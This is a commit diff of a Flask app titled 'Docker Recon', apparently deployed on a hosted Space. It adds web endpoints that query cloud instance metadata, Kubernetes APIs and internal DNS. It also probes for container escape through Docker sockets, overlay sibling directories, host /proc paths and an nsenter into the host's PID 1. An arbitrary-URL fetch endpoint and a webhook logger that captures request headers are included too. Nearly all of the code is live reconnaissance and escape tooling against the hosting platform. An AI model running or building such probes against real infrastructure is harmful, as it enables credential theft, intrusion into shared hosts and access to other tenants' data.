dia2diab commited on
Commit
9c6355b
·
1 Parent(s): 546bae5

Fix route registration order, all routes before main

Browse files
Files changed (1) hide show
  1. app.py +33 -113
app.py CHANGED
@@ -2,10 +2,11 @@ import os, subprocess, json, socket
2
  from flask import Flask, jsonify, request
3
 
4
  app = Flask(__name__)
 
5
 
6
  @app.route("/")
7
  def index():
8
- return "<h1>Docker Recon</h1><ul><li><a href='/env'>Env</a></li><li><a href='/meta1'>AWS Meta v1</a></li><li><a href='/meta2'>AWS Meta v2</a></li><li><a href='/ping_meta'>Ping Meta</a></li><li><a href='/k8s'>K8s</a></li><li><a href='/net'>Net</a></li><li><a href='/proc'>Proc</a></li><li><a href='/dns'>DNS</a></li><li><a href='/arp'>ARP</a></li><li><a href='/fetch?url=http://example.com'>Fetch URL</a></li></ul>"
9
 
10
  @app.route("/env")
11
  def env():
@@ -26,7 +27,6 @@ def env():
26
 
27
  @app.route("/meta1")
28
  def meta1():
29
- """IMDSv1 only"""
30
  r = {}
31
  try:
32
  p = subprocess.run(["curl", "-sv", "-m", "5", "http://169.254.169.254/latest/meta-data/"],
@@ -37,44 +37,13 @@ def meta1():
37
  except Exception as e: r["error"] = str(e)
38
  return jsonify(r)
39
 
40
- @app.route("/meta2")
41
- def meta2():
42
- """IMDSv2 token + metadata"""
43
- r = {}
44
- try:
45
- p = subprocess.run(["curl", "-sv", "-m", "5", "-X", "PUT",
46
- "http://169.254.169.254/latest/api/token",
47
- "-H", "X-aws-ec2-metadata-token-ttl-seconds: 21600"],
48
- capture_output=True, text=True, timeout=8)
49
- r["token_stdout"] = p.stdout[:200]
50
- r["token_stderr"] = p.stderr[:500]
51
- r["token_rc"] = p.returncode
52
- token = p.stdout.strip()
53
- if token and p.returncode == 0:
54
- p2 = subprocess.run(["curl", "-sv", "-m", "5",
55
- "-H", f"X-aws-ec2-metadata-token: {token}",
56
- "http://169.254.169.254/latest/meta-data/"],
57
- capture_output=True, text=True, timeout=8)
58
- r["meta_stdout"] = p2.stdout[:1000]
59
- r["meta_stderr"] = p2.stderr[:500]
60
- except Exception as e: r["error"] = str(e)
61
- return jsonify(r)
62
-
63
  @app.route("/ping_meta")
64
  def ping_meta():
65
- """Ping and traceroute to metadata"""
66
  r = {}
67
- try:
68
- p = subprocess.run(["ping", "-c", "2", "-W", "2", "169.254.169.254"],
69
- capture_output=True, text=True, timeout=8)
70
- r["ping"] = {"stdout": p.stdout, "stderr": p.stderr, "rc": p.returncode}
71
- except Exception as e: r["ping"] = str(e)
72
- # ARP check
73
  try:
74
  p = subprocess.run(["arp", "-n"], capture_output=True, text=True, timeout=5)
75
  r["arp"] = p.stdout[:500]
76
  except: pass
77
- # Route to metadata
78
  try:
79
  p = subprocess.run(["ip", "route", "get", "169.254.169.254"],
80
  capture_output=True, text=True, timeout=5)
@@ -89,7 +58,7 @@ def k8s():
89
  k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT", "")
90
  r["k8s_env"] = {"host": k8s_host, "port": k8s_port}
91
  if k8s_host:
92
- for path in ["/version", "/healthz", "/api"]:
93
  try:
94
  cmd = ["curl", "-sv", "-m", "3", "-k", f"https://{k8s_host}:{k8s_port}{path}"]
95
  p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
@@ -135,7 +104,6 @@ def proc():
135
  p = subprocess.run(["id"], capture_output=True, text=True, timeout=5)
136
  r["id"] = p.stdout.strip()
137
  except: pass
138
- # Check seccomp
139
  try:
140
  with open("/proc/1/status") as f:
141
  for line in f:
@@ -146,68 +114,20 @@ def proc():
146
  @app.route("/dns")
147
  def dns():
148
  r = {}
149
- queries = [
150
- "kubernetes.default.svc.cluster.local",
151
- "cas-server.xethub.hf.co",
152
- "hub.huggingface.co",
153
- ]
154
- for q in queries:
155
  try:
156
  p = subprocess.run(["dig", "+short", q], capture_output=True, text=True, timeout=5)
157
  r[q] = p.stdout.strip() if p.stdout.strip() else "NXDOMAIN"
158
  except Exception as e: r[q] = str(e)
159
- # Reverse DNS on gateway
160
- try:
161
- p = subprocess.run(["dig", "+short", "-x", "169.254.1.1"], capture_output=True, text=True, timeout=5)
162
- r["rev_169.254.1.1"] = p.stdout.strip() if p.stdout.strip() else "no PTR"
163
- except: pass
164
- return jsonify(r)
165
-
166
- @app.route("/arp")
167
- def arp():
168
- """ARP scan using CAP_NET_RAW"""
169
- r = {}
170
- try:
171
- p = subprocess.run(["arp", "-n"], capture_output=True, text=True, timeout=5)
172
- r["arp_table"] = p.stdout
173
- except: pass
174
- # Try arping the gateway
175
- try:
176
- p = subprocess.run(["arping", "-c", "1", "-w", "2", "169.254.1.1"],
177
- capture_output=True, text=True, timeout=5)
178
- r["arping_gw"] = {"stdout": p.stdout, "rc": p.returncode}
179
- except Exception as e: r["arping_gw"] = str(e)
180
- return jsonify(r)
181
-
182
- @app.route("/fetch")
183
- def fetch():
184
- """Fetch arbitrary URL from inside the Space"""
185
- url = request.args.get("url", "http://example.com")
186
- r = {}
187
- try:
188
- p = subprocess.run(["curl", "-sv", "-m", "5", url],
189
- capture_output=True, text=True, timeout=8)
190
- r["stdout"] = p.stdout[:2000]
191
- r["stderr"] = p.stderr[:1000]
192
- r["rc"] = p.returncode
193
- except Exception as e: r["error"] = str(e)
194
  return jsonify(r)
195
 
196
- if __name__ == "__main__":
197
- app.run(host="0.0.0.0", port=7860)
198
-
199
  @app.route("/escape")
200
  def escape():
201
- """Container escape probes"""
202
  r = {}
203
- # Check for Docker/containerd sockets
204
- import os.path
205
- for sock in ["/var/run/docker.sock", "/run/containerd/containerd.sock",
206
- "/run/docker.sock", "/var/run/containerd/containerd.sock",
207
- "/var/run/cri-dockerd.sock"]:
208
  r[f"socket_{sock}"] = os.path.exists(sock)
209
-
210
- # Check overlay upper dir (from mounts)
211
  try:
212
  with open("/proc/mounts") as f:
213
  for line in f:
@@ -217,84 +137,84 @@ def escape():
217
  if p.startswith("upperdir="):
218
  upperdir = p.split("=")[1]
219
  r["overlay_upperdir"] = upperdir
220
- # Try to go up from upper dir to find other containers
221
  parent = os.path.dirname(os.path.dirname(upperdir))
222
  try:
223
  r["overlay_siblings"] = os.listdir(parent)[:20]
224
  except Exception as e:
225
  r["overlay_siblings"] = str(e)
226
  except Exception as e: r["overlay_error"] = str(e)
227
-
228
- # Check if we can access host /proc
229
  try:
230
  with open("/proc/1/root/etc/hostname") as f:
231
  r["host_hostname"] = f.read().strip()
232
  except Exception as e: r["host_hostname"] = str(e)
233
-
234
- # Try to read /proc/sysrq-trigger
235
  try:
236
- r["sysrq"] = os.access("/proc/sysrq-trigger", os.W_OK)
237
- except: r["sysrq"] = False
238
-
239
- # Check cgroupfs
240
  try:
241
  cg_root = "/sys/fs/cgroup"
242
  if os.path.isdir(cg_root):
243
  r["cgroup_root"] = os.listdir(cg_root)[:20]
244
- # Try to write to cgroup
245
  r["cgroup_writable"] = os.access(cg_root, os.W_OK)
246
  except Exception as e: r["cgroup_error"] = str(e)
247
-
248
- # Check for privileged mode indicators
249
  try:
250
  with open("/proc/1/status") as f:
251
  for line in f:
252
  if "Seccomp" in line:
253
  r["seccomp"] = line.strip()
254
  except: pass
255
-
256
- # Check device access
257
  try:
258
  r["dev_listing"] = os.listdir("/dev")[:30]
259
  except: pass
260
-
261
- # Try nsenter
262
  try:
263
  p = subprocess.run(["nsenter", "--target", "1", "--mount", "--", "hostname"],
264
  capture_output=True, text=True, timeout=5)
265
  r["nsenter"] = {"stdout": p.stdout, "stderr": p.stderr, "rc": p.returncode}
266
  except Exception as e: r["nsenter"] = str(e)
267
-
268
- # Check /proc/1/ns
269
  try:
270
  r["namespaces"] = {}
271
  for ns in os.listdir("/proc/1/ns"):
272
  r["namespaces"][ns] = os.readlink(f"/proc/1/ns/{ns}")
273
  except Exception as e: r["ns_error"] = str(e)
274
-
275
- return jsonify(r)
276
 
277
- import threading
278
- webhook_log = []
279
 
280
  @app.route("/webhook", methods=["GET", "POST", "PUT", "DELETE", "PATCH"])
281
  def webhook():
282
- """Catch and log webhook requests"""
283
  entry = {
284
  "method": request.method,
285
  "headers": dict(request.headers),
286
  "body": request.get_data(as_text=True)[:5000],
287
  "args": dict(request.args),
288
  "remote_addr": request.remote_addr,
289
- "url": request.url,
290
  }
291
  webhook_log.append(entry)
292
- # Keep only last 10
293
  while len(webhook_log) > 10:
294
  webhook_log.pop(0)
295
  return jsonify({"status": "ok"})
296
 
297
  @app.route("/webhook_log")
298
  def get_webhook_log():
299
- """View captured webhook requests"""
300
  return jsonify(webhook_log)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
2
  from flask import Flask, jsonify, request
3
 
4
  app = Flask(__name__)
5
+ webhook_log = []
6
 
7
  @app.route("/")
8
  def index():
9
+ return "<h1>Docker Recon</h1><ul><li><a href='/env'>Env</a></li><li><a href='/meta1'>AWS Meta v1</a></li><li><a href='/ping_meta'>Ping Meta</a></li><li><a href='/k8s'>K8s</a></li><li><a href='/net'>Net</a></li><li><a href='/proc'>Proc</a></li><li><a href='/dns'>DNS</a></li><li><a href='/escape'>Escape</a></li><li><a href='/webhook_log'>Webhook Log</a></li><li><a href='/fetch?url=http://example.com'>Fetch URL</a></li></ul>"
10
 
11
  @app.route("/env")
12
  def env():
 
27
 
28
  @app.route("/meta1")
29
  def meta1():
 
30
  r = {}
31
  try:
32
  p = subprocess.run(["curl", "-sv", "-m", "5", "http://169.254.169.254/latest/meta-data/"],
 
37
  except Exception as e: r["error"] = str(e)
38
  return jsonify(r)
39
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
40
  @app.route("/ping_meta")
41
  def ping_meta():
 
42
  r = {}
 
 
 
 
 
 
43
  try:
44
  p = subprocess.run(["arp", "-n"], capture_output=True, text=True, timeout=5)
45
  r["arp"] = p.stdout[:500]
46
  except: pass
 
47
  try:
48
  p = subprocess.run(["ip", "route", "get", "169.254.169.254"],
49
  capture_output=True, text=True, timeout=5)
 
58
  k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT", "")
59
  r["k8s_env"] = {"host": k8s_host, "port": k8s_port}
60
  if k8s_host:
61
+ for path in ["/version", "/healthz"]:
62
  try:
63
  cmd = ["curl", "-sv", "-m", "3", "-k", f"https://{k8s_host}:{k8s_port}{path}"]
64
  p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
 
104
  p = subprocess.run(["id"], capture_output=True, text=True, timeout=5)
105
  r["id"] = p.stdout.strip()
106
  except: pass
 
107
  try:
108
  with open("/proc/1/status") as f:
109
  for line in f:
 
114
  @app.route("/dns")
115
  def dns():
116
  r = {}
117
+ for q in ["kubernetes.default.svc.cluster.local", "cas-server.xethub.hf.co"]:
 
 
 
 
 
118
  try:
119
  p = subprocess.run(["dig", "+short", q], capture_output=True, text=True, timeout=5)
120
  r[q] = p.stdout.strip() if p.stdout.strip() else "NXDOMAIN"
121
  except Exception as e: r[q] = str(e)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
122
  return jsonify(r)
123
 
 
 
 
124
  @app.route("/escape")
125
  def escape():
 
126
  r = {}
127
+ for sock in ["/var/run/docker.sock", "/run/containerd/containerd.sock",
128
+ "/run/docker.sock", "/var/run/containerd/containerd.sock"]:
 
 
 
129
  r[f"socket_{sock}"] = os.path.exists(sock)
130
+
 
131
  try:
132
  with open("/proc/mounts") as f:
133
  for line in f:
 
137
  if p.startswith("upperdir="):
138
  upperdir = p.split("=")[1]
139
  r["overlay_upperdir"] = upperdir
 
140
  parent = os.path.dirname(os.path.dirname(upperdir))
141
  try:
142
  r["overlay_siblings"] = os.listdir(parent)[:20]
143
  except Exception as e:
144
  r["overlay_siblings"] = str(e)
145
  except Exception as e: r["overlay_error"] = str(e)
146
+
 
147
  try:
148
  with open("/proc/1/root/etc/hostname") as f:
149
  r["host_hostname"] = f.read().strip()
150
  except Exception as e: r["host_hostname"] = str(e)
151
+
 
152
  try:
153
+ r["sysrq_writable"] = os.access("/proc/sysrq-trigger", os.W_OK)
154
+ except: r["sysrq_writable"] = False
155
+
 
156
  try:
157
  cg_root = "/sys/fs/cgroup"
158
  if os.path.isdir(cg_root):
159
  r["cgroup_root"] = os.listdir(cg_root)[:20]
 
160
  r["cgroup_writable"] = os.access(cg_root, os.W_OK)
161
  except Exception as e: r["cgroup_error"] = str(e)
162
+
 
163
  try:
164
  with open("/proc/1/status") as f:
165
  for line in f:
166
  if "Seccomp" in line:
167
  r["seccomp"] = line.strip()
168
  except: pass
169
+
 
170
  try:
171
  r["dev_listing"] = os.listdir("/dev")[:30]
172
  except: pass
173
+
 
174
  try:
175
  p = subprocess.run(["nsenter", "--target", "1", "--mount", "--", "hostname"],
176
  capture_output=True, text=True, timeout=5)
177
  r["nsenter"] = {"stdout": p.stdout, "stderr": p.stderr, "rc": p.returncode}
178
  except Exception as e: r["nsenter"] = str(e)
179
+
 
180
  try:
181
  r["namespaces"] = {}
182
  for ns in os.listdir("/proc/1/ns"):
183
  r["namespaces"][ns] = os.readlink(f"/proc/1/ns/{ns}")
184
  except Exception as e: r["ns_error"] = str(e)
 
 
185
 
186
+ return jsonify(r)
 
187
 
188
  @app.route("/webhook", methods=["GET", "POST", "PUT", "DELETE", "PATCH"])
189
  def webhook():
 
190
  entry = {
191
  "method": request.method,
192
  "headers": dict(request.headers),
193
  "body": request.get_data(as_text=True)[:5000],
194
  "args": dict(request.args),
195
  "remote_addr": request.remote_addr,
 
196
  }
197
  webhook_log.append(entry)
 
198
  while len(webhook_log) > 10:
199
  webhook_log.pop(0)
200
  return jsonify({"status": "ok"})
201
 
202
  @app.route("/webhook_log")
203
  def get_webhook_log():
 
204
  return jsonify(webhook_log)
205
+
206
+ @app.route("/fetch")
207
+ def fetch():
208
+ url = request.args.get("url", "http://example.com")
209
+ r = {}
210
+ try:
211
+ p = subprocess.run(["curl", "-sv", "-m", "5", url],
212
+ capture_output=True, text=True, timeout=8)
213
+ r["stdout"] = p.stdout[:2000]
214
+ r["stderr"] = p.stderr[:1000]
215
+ r["rc"] = p.returncode
216
+ except Exception as e: r["error"] = str(e)
217
+ return jsonify(r)
218
+
219
+ if __name__ == "__main__":
220
+ app.run(host="0.0.0.0", port=7860)